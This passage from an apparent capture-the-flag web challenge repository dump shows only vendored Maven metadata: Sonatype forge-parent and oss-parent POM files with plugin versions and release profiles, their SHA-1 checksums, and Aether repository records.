<artifactId>maven-jar-plugin</artifactId>\n                    <version>2.1</version>\n                </plugin>\n                <plugin>\n                    <artifactId>maven-help-plugin</artifactId>\n                    <version>2.0.2</version>\n                </plugin>                \n                <plugin>\n                    <artifactId>maven-resources-plugin</artifactId>\n                    <version>2.2</version>\n                </plugin>\n                <plugin>\n                    <artifactId>maven-install-plugin</artifactId>\n                    <version>2.2</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-compiler-plugin</artifactId>\n                    <version>2.0.2</version>\n                    <configuration>\n                        <source>1.5</source>\n                        <target>1.5</target>\n                    </configuration>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-assembly-plugin</artifactId>\n                    <version>2.2-beta-1</version>\n                </plugin>\n            </plugins>\n        </pluginManagement>\n    </build>\n    \n    <reporting>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.codehaus.mojo</groupId>\n\t\t\t\t<artifactId>cobertura-maven-plugin</artifactId>\n\t\t\t\t<version>2.0</version>\n\t\t\t</plugin>\n            <plugin>\n\t\t\t\t<groupId>org.codehaus.mojo</groupId>\n\t\t\t\t<artifactId>findbugs-maven-plugin</artifactId>\n\t\t\t\t<version>1.1.1</version>\n                <configuration>\n                  <omitVisitors>UnreadFields</omitVisitors>\n                </configuration>\n\t\t\t</plugin>\n            <plugin>\n\t\t\t\t<artifactId>maven-jxr-plugin</artifactId>\n\t\t\t\t<version>2.0</version>\n\t\t\t</plugin>\n            <plugin>\n\t\t\t\t<artifactId>maven-pmd-plugin</artifactId>\n\t\t\t\t<version>2.3</version>\n                <configuration>\n                  <targetJdk>1.5</targetJdk> \n                </configuration>\n\t\t\t</plugin>\n\t\t</plugins>\n        \n\t</reporting>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/forge/forge-parent/3/forge-parent-3.pom.sha1",
    "content": "fdc1f6eb65f750775acd57ff4371d5657ae2e6d3"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/forge/forge-parent/4/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:45 CST 2018\nforge-parent-4.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/forge/forge-parent/4/forge-parent-4.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <groupId>org.sonatype.forge</groupId>\n    <artifactId>forge-parent</artifactId>\n    <packaging>pom</packaging>\n    <version>4</version>\n    <name>Sonatype Forge Parent Pom</name>\n    <inceptionYear>2008</inceptionYear>\n    <url>http://forge.sonatype.com/</url>\n    <scm>\n        <connection>scm:svn:http://svn.sonatype.org/forge/tags/forge-parent-4</connection>\n        <url>http://svn.sonatype.org/forge/tags/forge-parent-4</url>\n        <developerConnection>scm:svn:https://svn.sonatype.org/forge/tags/forge-parent-4</developerConnection>\n    </scm>\n \n\n    <properties>\n      <forgeReleaseId>forge-releases</forgeReleaseId>\n      <forgeReleaseUrl>http://repository.sonatype.org/content/repositories/releases</forgeReleaseUrl>\n      <forgeSnapshotId>forge-snapshots</forgeSnapshotId>\n      <forgeSnapshotUrl>http://repository.sonatype.org/content/repositories/snapshots</forgeSnapshotUrl>\n    </properties>\n    <distributionManagement>\n        <repository>\n            <id>${forgeReleaseId}</id>\n            <url>${forgeReleaseUrl}</url>\n        </repository>\n        <snapshotRepository>\n            <id>${forgeSnapshotId}</id>\n            <url>${forgeSnapshotUrl}</url>\n        </snapshotRepository>\n    </distributionManagement>\n    \n    \n    \n    <build>\n    <!--set the default plugin revs-->\n        <pluginManagement>\n            <plugins>\n               <plugin>\n                    <artifactId>maven-enforcer-plugin</artifactId>\n                    <version>1.0-alpha-4-sonatype</version>\n                </plugin>\n                <plugin>\n                    <artifactId>maven-eclipse-plugin</artifactId>\n                    <version>2.4</version>\n                </plugin>\n                <plugin>\n                    <artifactId>maven-surefire-plugin</artifactId>\n                    <version>2.3</version>\n                </plugin>\n                <plugin>\n                    <artifactId>maven-clean-plugin</artifactId>\n                    <version>2.2</version>\n                </plugin>\n                <plugin>\n                    <artifactId>maven-deploy-plugin</artifactId>\n                    <version>2.3</version>\n                </plugin>\n                <plugin>\n                    <artifactId>maven-dependency-plugin</artifactId>\n                    <version>2.0</version>\n                </plugin>\n                <plugin>\n                    <artifactId>maven-site-plugin</artifactId>\n                    <version>2.0-beta-6</version>\n                </plugin>\n                <plugin>\n                    <artifactId>maven-jar-plugin</artifactId>\n                    <version>2.1</version>\n                </plugin>\n                <plugin>\n                    <artifactId>maven-help-plugin</artifactId>\n                    <version>2.0.2</version>\n                </plugin>                \n                <plugin>\n                    <artifactId>maven-resources-plugin</artifactId>\n                    <version>2.2</version>\n                </plugin>\n                <plugin>\n                    <artifactId>maven-install-plugin</artifactId>\n                    <version>2.2</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-compiler-plugin</artifactId>\n                    <version>2.0.2</version>\n                    <configuration>\n                        <source>1.5</source>\n                        <target>1.5</target>\n                    </configuration>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-assembly-plugin</artifactId>\n                    <version>2.2-beta-1</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-release-plugin</artifactId>\n                    <version>2.0-beta-8</version>\n                    <configuration>\n                      <useReleaseProfile>false</useReleaseProfile>\n                      <goals>deploy</goals>\n                      <arguments>-Prelease</arguments>\n                    </configuration>\n                </plugin>\n                <plugin>\n                  <groupId>org.apache.maven.plugins</groupId>\n                  <artifactId>maven-gpg-plugin</artifactId>\n                  <version>1.0-alpha-4</version>\n                </plugin>\n            </plugins>\n        </pluginManagement>\n\n    </build>\n    \n  <reporting>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.codehaus.mojo</groupId>\n\t\t\t\t<artifactId>cobertura-maven-plugin</artifactId>\n\t\t\t\t<version>2.0</version>\n\t\t\t</plugin>\n            <plugin>\n\t\t\t\t<groupId>org.codehaus.mojo</groupId>\n\t\t\t\t<artifactId>findbugs-maven-plugin</artifactId>\n\t\t\t\t<version>1.1.1</version>\n                <configuration>\n                  <omitVisitors>UnreadFields</omitVisitors>\n                </configuration>\n\t\t\t</plugin>\n            <plugin>\n\t\t\t\t<artifactId>maven-jxr-plugin</artifactId>\n\t\t\t\t<version>2.0</version>\n\t\t\t</plugin>\n            <plugin>\n\t\t\t\t<artifactId>maven-pmd-plugin</artifactId>\n\t\t\t\t<version>2.3</version>\n                <configuration>\n                  <targetJdk>1.5</targetJdk> \n                </configuration>\n\t\t\t</plugin>\n\t\t</plugins>\n        \n\t</reporting>\n \n  \n  <profiles>\n    <profile>\n      <id>release</id>\n      <build>\n        <plugins>\n          <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n               <!--  this presumes the correct gpg.passphrase property in the settings \"release\" proile -->\n              <passphrase>${gpg.passphrase}</passphrase>\n            </configuration>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <!-- We want to deploy the artifact to a staging location for perusal -->\n          <plugin>\n            <inherited>true</inherited>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-deploy-plugin</artifactId>\n            <configuration>\n              <altDeploymentRepository>${deploy.altRepository}</altDeploymentRepository>\n              <updateReleaseInfo>true</updateReleaseInfo>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <configuration>\n              <encoding>${project.build.sourceEncoding}</encoding>\n            </configuration>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <!--plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>clirr-maven-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>clirr-check</id>\n                <phase>package</phase>\n                <goals>\n                  <goal>check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin-->\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n  \n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/forge/forge-parent/4/forge-parent-4.pom.sha1",
    "content": "564f266ea9323e57e246f0fca8f04f596663fb86"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/forge/forge-parent/5/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:25 CST 2018\nforge-parent-5.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/forge/forge-parent/5/forge-parent-5.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <groupId>org.sonatype.forge</groupId>\n    <artifactId>forge-parent</artifactId>\n    <packaging>pom</packaging>\n    <version>5</version>\n    <name>Sonatype Forge Parent Pom</name>\n    <inceptionYear>2008</inceptionYear>\n    <url>http://forge.sonatype.com/</url>\n    <scm>\n        <connection>scm:svn:http://svn.sonatype.org/forge/tags/forge-parent-5</connection>\n        <url>http://svn.sonatype.org/forge/tags/forge-parent-5</url>\n        <developerConnection>scm:svn:https://svn.sonatype.org/forge/tags/forge-parent-5</developerConnection>\n    </scm>\n \n\n    <properties>\n      <forgeReleaseId>forge-releases</forgeReleaseId>\n      <forgeReleaseUrl>http://repository.sonatype.org:8081/service/local/staging/deploy/maven2</forgeReleaseUrl>\n      <forgeSnapshotId>forge-snapshots</forgeSnapshotId>\n      <forgeSnapshotUrl>http://repository.sonatype.org/content/repositories/snapshots</forgeSnapshotUrl>\n    </properties>\n    <distributionManagement>\n        <repository>\n            <id>${forgeReleaseId}</id>\n            <url>${forgeReleaseUrl}</url>\n        </repository>\n        <snapshotRepository>\n            <id>${forgeSnapshotId}</id>\n            <url>${forgeSnapshotUrl}</url>\n        </snapshotRepository>\n    </distributionManagement>\n    \n    \n    \n    <build>\n    <!--set the default plugin revs-->\n        <pluginManagement>\n            <plugins>\n               <plugin>\n                    <artifactId>maven-enforcer-plugin</artifactId>\n                    <version>1.0-beta-1</version>\n                </plugin>\n                <plugin>\n                    <artifactId>maven-eclipse-plugin</artifactId>\n                    <version>2.4</version>\n                </plugin>\n                <plugin>\n                    <artifactId>maven-surefire-plugin</artifactId>\n                    <version>2.4.3</version>\n                </plugin>\n                <plugin>\n                    <artifactId>maven-clean-plugin</artifactId>\n                    <version>2.2</version>\n                </plugin>\n                <plugin>\n                    <artifactId>maven-deploy-plugin</artifactId>\n                    <version>2.4</version>\n                </plugin>\n                <plugin>\n                    <artifactId>maven-dependency-plugin</artifactId>\n                    <version>2.0</version>\n                </plugin>\n                <plugin>\n                    <artifactId>maven-site-plugin</artifactId>\n                    <version>2.0-beta-7</version>\n                </plugin>\n                <plugin>\n                    <artifactId>maven-jar-plugin</artifactId>\n                    <version>2.2</version>\n                </plugin>\n                <plugin>\n                    <artifactId>maven-resources-plugin</artifactId>\n                    <version>2.3</version>\n                </plugin>\n                <plugin>\n                    <artifactId>maven-install-plugin</artifactId>\n                    <version>2.2</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-compiler-plugin</artifactId>\n                    <version>2.0.2</version>\n                    <configuration>\n                        <source>1.5</source>\n                        <target>1.5</target>\n                    </configuration>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-assembly-plugin</artifactId>\n                    <version>2.2-beta-2</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-release-plugin</artifactId>\n                    <version>2.0-beta-8</version>\n                    <configuration>\n                      <useReleaseProfile>false</useReleaseProfile>\n                      <goals>deploy</goals>\n                      <arguments>-Prelease</arguments>\n                    </configuration>\n                </plugin>\n                <plugin>\n                  <groupId>org.apache.maven.plugins</groupId>\n                  <artifactId>maven-gpg-plugin</artifactId>\n                  <version>1.0-alpha-4</version>\n                </plugin>\n            </plugins>\n        </pluginManagement>\n\n    </build>\n    \n  <reporting>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.codehaus.mojo</groupId>\n\t\t\t\t<artifactId>cobertura-maven-plugin</artifactId>\n\t\t\t\t<version>2.0</version>\n\t\t\t</plugin>\n            <plugin>\n\t\t\t\t<groupId>org.codehaus.mojo</groupId>\n\t\t\t\t<artifactId>findbugs-maven-plugin</artifactId>\n\t\t\t\t<version>1.1.1</version>\n                <configuration>\n                  <omitVisitors>UnreadFields</omitVisitors>\n                </configuration>\n\t\t\t</plugin>\n            <plugin>\n\t\t\t\t<artifactId>maven-jxr-plugin</artifactId>\n\t\t\t\t<version>2.1</version>\n\t\t\t</plugin>\n            <plugin>\n\t\t\t\t<artifactId>maven-project-info-reports-plugin</artifactId>\n\t\t\t\t<version>2.1.1</version>\n\t\t\t</plugin>            \n            <plugin>\n\t\t\t\t<artifactId>maven-pmd-plugin</artifactId>\n\t\t\t\t<version>2.4</version>\n                <configuration>\n                  <targetJdk>1.5</targetJdk> \n                </configuration>\n\t\t\t</plugin>\n\t\t</plugins>\n        \n\t</reporting>\n \n  \n  <profiles>\n    <profile>\n      <id>release</id>\n      <build>\n        <plugins>\n          <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n               <!--  this presumes the correct gpg.passphrase property in the settings \"release\" proile -->\n              <passphrase>${gpg.passphrase}</passphrase>\n            </configuration>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <!-- We want to deploy the artifact to a staging location for perusal -->\n          <plugin>\n            <inherited>true</inherited>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-deploy-plugin</artifactId>\n            <configuration>\n              <altDeploymentRepository>${deploy.altRepository}</altDeploymentRepository>\n              <updateReleaseInfo>true</updateReleaseInfo>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <configuration>\n              <encoding>${project.build.sourceEncoding}</encoding>\n            </configuration>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <!--plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>clirr-maven-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>clirr-check</id>\n                <phase>package</phase>\n                <goals>\n                  <goal>check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin-->\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n  \n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/forge/forge-parent/5/forge-parent-5.pom.sha1",
    "content": "a557514263bbd4a6daef8f125ab80e78413292d3"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/forge/forge-parent/6/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:00:20 CST 2018\nforge-parent-6.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/forge/forge-parent/6/forge-parent-6.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    \n    <groupId>org.sonatype.forge</groupId>\n    <artifactId>forge-parent</artifactId>\n    <packaging>pom</packaging>\n    <version>6</version>\n    <name>Sonatype Forge Parent Pom</name>\n\n    <inceptionYear>2008</inceptionYear>\n    <url>http://forge.sonatype.com/</url>\n\n    <scm>\n        <connection>scm:svn:http://svn.sonatype.org/forge/tags/forge-parent-6</connection>\n        <url>http://svn.sonatype.org/forge/tags/forge-parent-6</url>\n        <developerConnection>scm:svn:https://svn.sonatype.org/forge/tags/forge-parent-6</developerConnection>\n    </scm>\n\n    <properties>\n        <forgeReleaseId>forge-releases</forgeReleaseId>\n        <forgeReleaseUrl>http://repository.sonatype.org:8081/service/local/staging/deploy/maven2</forgeReleaseUrl>\n        <forgeSnapshotId>forge-snapshots</forgeSnapshotId>\n        <forgeSnapshotUrl>http://repository.sonatype.org/content/repositories/snapshots</forgeSnapshotUrl>\n    </properties>\n\n    <distributionManagement>\n        <repository>\n            <id>${forgeReleaseId}</id>\n            <url>${forgeReleaseUrl}</url>\n        </repository>\n        <snapshotRepository>\n            <id>${forgeSnapshotId}</id>\n            <url>${forgeSnapshotUrl}</url>\n        </snapshotRepository>\n    </distributionManagement>\n\n    <build>\n        <!--set the default plugin revs-->\n        <pluginManagement>\n            <plugins>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-enforcer-plugin</artifactId>\n                    <version>1.0-beta-1</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-eclipse-plugin</artifactId>\n                    <version>2.4</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-surefire-plugin</artifactId>\n                    <version>2.5</version>\n                    <configuration>\n                        <redirectTestOutputToFile>true</redirectTestOutputToFile>\n                    </configuration>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-clean-plugin</artifactId>\n                    <version>2.4</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-deploy-plugin</artifactId>\n                    <version>2.4</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-dependency-plugin</artifactId>\n                    <version>2.1</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-site-plugin</artifactId>\n                    <version>2.0-beta-7</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-jar-plugin</artifactId>\n                    <version>2.2</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-resources-plugin</artifactId>\n                    <version>2.3</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-remote-resources-plugin</artifactId>\n                    <version>1.1</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-install-plugin</artifactId>\n                    <version>2.2</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-compiler-plugin</artifactId>\n                    <version>2.0.2</version>\n                    <configuration>\n                        <source>1.5</source>\n                        <target>1.5</target>\n                    </configuration>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-assembly-plugin</artifactId>\n                    <version>2.2-beta-3</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-release-plugin</artifactId>\n                    <version>2.0-beta-9</version>\n                    <configuration>\n                        <useReleaseProfile>false</useReleaseProfile>\n                        <goals>deploy</goals>\n                        <arguments>-Prelease</arguments>\n                    </configuration>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-gpg-plugin</artifactId>\n                    <version>1.0</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-scm-plugin</artifactId>\n                    <version>1.2</version>\n                </plugin>\n            </plugins>\n        </pluginManagement>\n    </build>\n\n    <reporting>\n        <plugins>\n            <plugin>\n                <groupId>org.codehaus.mojo</groupId>\n                <artifactId>cobertura-maven-plugin</artifactId>\n                <version>2.0</version>\n            </plugin>\n            <plugin>\n                <groupId>org.codehaus.mojo</groupId>\n                <artifactId>findbugs-maven-plugin</artifactId>\n                <version>1.1.1</version>\n                <configuration>\n                    <omitVisitors>UnreadFields</omitVisitors>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-jxr-plugin</artifactId>\n                <version>2.1</version>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-project-info-reports-plugin</artifactId>\n                <version>2.1.1</version>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-pmd-plugin</artifactId>\n                <version>2.4</version>\n                <configuration>\n                    <targetJdk>1.5</targetJdk>\n                </configuration>\n            </plugin>\n        </plugins>\n    </reporting>\n\n    <profiles>\n        <profile>\n            <id>release</id>\n            <build>\n                <plugins>\n                    <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n                    <plugin>\n                        <groupId>org.apache.maven.plugins</groupId>\n                        <artifactId>maven-gpg-plugin</artifactId>\n                        <configuration>\n                            <!-- this presumes the correct gpg.passphrase property in the settings \"release\" proile -->\n                            <passphrase>${gpg.passphrase}</passphrase>\n                        </configuration>\n                        <executions>\n                            <execution>\n                                <goals>\n                                    <goal>sign</goal>\n                                </goals>\n                            </execution>\n                        </executions>\n                    </plugin>\n                    <!-- We want to deploy the artifact to a staging location for perusal -->\n                    <plugin>\n                        <inherited>true</inherited>\n                        <groupId>org.apache.maven.plugins</groupId>\n                        <artifactId>maven-deploy-plugin</artifactId>\n                        <configuration>\n                            <altDeploymentRepository>${deploy.altRepository}</altDeploymentRepository>\n                            <updateReleaseInfo>true</updateReleaseInfo>\n                        </configuration>\n                    </plugin>\n                    <plugin>\n                        <groupId>org.apache.maven.plugins</groupId>\n                        <artifactId>maven-source-plugin</artifactId>\n                        <executions>\n                            <execution>\n                                <id>attach-sources</id>\n                                <goals>\n                                    <goal>jar</goal>\n                                </goals>\n                            </execution>\n                        </executions>\n                    </plugin>\n                    <plugin>\n                        <groupId>org.apache.maven.plugins</groupId>\n                        <artifactId>maven-javadoc-plugin</artifactId>\n                        <configuration>\n                            <encoding>${project.build.sourceEncoding}</encoding>\n                        </configuration>\n                        <executions>\n                            <execution>\n                                <id>attach-javadocs</id>\n                                <goals>\n                                    <goal>jar</goal>\n                                </goals>\n                            </execution>\n                        </executions>\n                    </plugin>\n                    <!--\n                    <plugin>\n                        <groupId>org.codehaus.mojo</groupId>\n                        <artifactId>clirr-maven-plugin</artifactId>\n                        <executions>\n                            <execution>\n                                <id>clirr-check</id>\n                                <phase>package</phase>\n                                <goals>\n                                    <goal>check</goal>\n                                </goals>\n                            </execution>\n                        </executions>\n                    </plugin>\n                    -->\n                </plugins>\n            </build>\n        </profile>\n    </profiles>\n\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/forge/forge-parent/6/forge-parent-6.pom.sha1",
    "content": "8726e91194a5442e05472854652602a3b599f27d"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/oss/oss-parent/3/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:55:58 CST 2018\noss-parent-3.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/oss/oss-parent/3/oss-parent-3.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>org.sonatype.oss</groupId>\n\t<artifactId>oss-parent</artifactId>\n\t<version>3</version>\n\t<packaging>pom</packaging>\n\n\t<name>Sonatype OSS Parent</name>\n\t<url>http://nexus.sonatype.org/oss-repository-hosting.html</url>\n\t<description>Sonatype helps open source projects to set up maven repositories on http://oss.sonatype.org. </description>\n\n\t<scm>\n\t\t<connection>scm:svn:http://svn.sonatype.org/spice/tags/oss-parent-3</connection>\n\t\t<developerConnection>scm:svn:https://svn.sonatype.org/spice/tags/oss-parent-3</developerConnection>\n\t\t<url>http://svn.sonatype.org/spice/tags/oss-parent-3</url>\n\t</scm>\n\n\t<repositories>\n\t\t<repository>\n\t\t\t<id>sonatype-nexus-snapshots</id>\n\t\t\t<name>Sonatype Nexus Snapshots</name>\n\t\t\t<url>http://oss.sonatype.org/content/repositories/snapshots</url>\n\t\t\t<releases>\n\t\t\t\t<enabled>false</enabled>\n\t\t\t</releases>\n\t\t\t<snapshots>\n\t\t\t\t<enabled>true</enabled>\n\t\t\t</snapshots>\n\t\t</repository>\n\t</repositories>\n\n\n\t<distributionManagement>\n\t\t<snapshotRepository>\n\t\t\t<id>sonatype-nexus-snapshots</id>\n\t\t\t<name>Sonatype Nexus Snapshots</name>\n\t\t\t<url>https://oss.sonatype.org/content/repositories/snapshots</url>\n\t\t</snapshotRepository>\n\t\t<repository>\n\t\t\t<id>sonatype-nexus-staging</id>\n\t\t\t<name>Nexus Release Repository</name>\n\t\t\t<url>https://oss.sonatype.org/service/local/staging/deploy/maven2/</url>\n\t\t</repository>\n\t</distributionManagement>\n\n\t<build>\n\t\t<pluginManagement>\n\t\t\t<plugins>\n\t\t\t\t<plugin>\n\t\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t\t<artifactId>maven-release-plugin</artifactId>\n\t\t\t\t\t<version>2.0</version>\n\t\t\t\t\t<configuration>\n\t\t\t\t\t\t<mavenExecutorId>forked-path</mavenExecutorId>\n\t\t\t\t\t</configuration>\n\t\t\t\t</plugin>\n\t\t\t</plugins>\n\t\t</pluginManagement>\n\t</build>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t</properties>\n\n\t<profiles>\n\t\t<profile>\n\t\t\t<id>sonatype-release-profile</id>\n\t\t\t<activation>\n\t\t\t\t<property>\n\t\t\t\t\t<name>performRelease</name>\n\t\t\t\t\t<value>true</value>\n\t\t\t\t</property>\n\t\t\t</activation>\n\t\t\t<build>\n\t\t\t\t<plugins>\n\t\t\t\t\t<plugin>\n\t\t\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t\t\t<artifactId>maven-source-plugin</artifactId>\n\t\t\t\t\t\t<version>2.1.2</version>\n\t\t\t\t\t\t<executions>\n\t\t\t\t\t\t\t<execution>\n\t\t\t\t\t\t\t\t<id>attach-sources</id>\n\t\t\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t\t\t<goal>jar-no-fork</goal>\n\t\t\t\t\t\t\t\t</goals>\n\t\t\t\t\t\t\t</execution>\n\t\t\t\t\t\t</executions>\n\t\t\t\t\t</plugin>\n\t\t\t\t\t<plugin>\n\t\t\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t\t\t<artifactId>maven-javadoc-plugin</artifactId>\n\t\t\t\t\t\t<version>2.7</version>\n\t\t\t\t\t\t<executions>\n\t\t\t\t\t\t\t<execution>\n\t\t\t\t\t\t\t\t<id>attach-javadocs</id>\n\t\t\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t\t\t<goal>jar</goal>\n\t\t\t\t\t\t\t\t</goals>\n\t\t\t\t\t\t\t</execution>\n\t\t\t\t\t\t</executions>\n\t\t\t\t\t</plugin>\n\t\t\t\t\t<plugin>\n\t\t\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t\t\t<artifactId>maven-gpg-plugin</artifactId>\n\t\t\t\t\t\t<version>1.1</version>\n\t\t\t\t\t\t<executions>\n\t\t\t\t\t\t\t<execution>\n\t\t\t\t\t\t\t\t<id>sign-artifacts</id>\n\t\t\t\t\t\t\t\t<phase>verify</phase>\n\t\t\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t\t\t<goal>sign</goal>\n\t\t\t\t\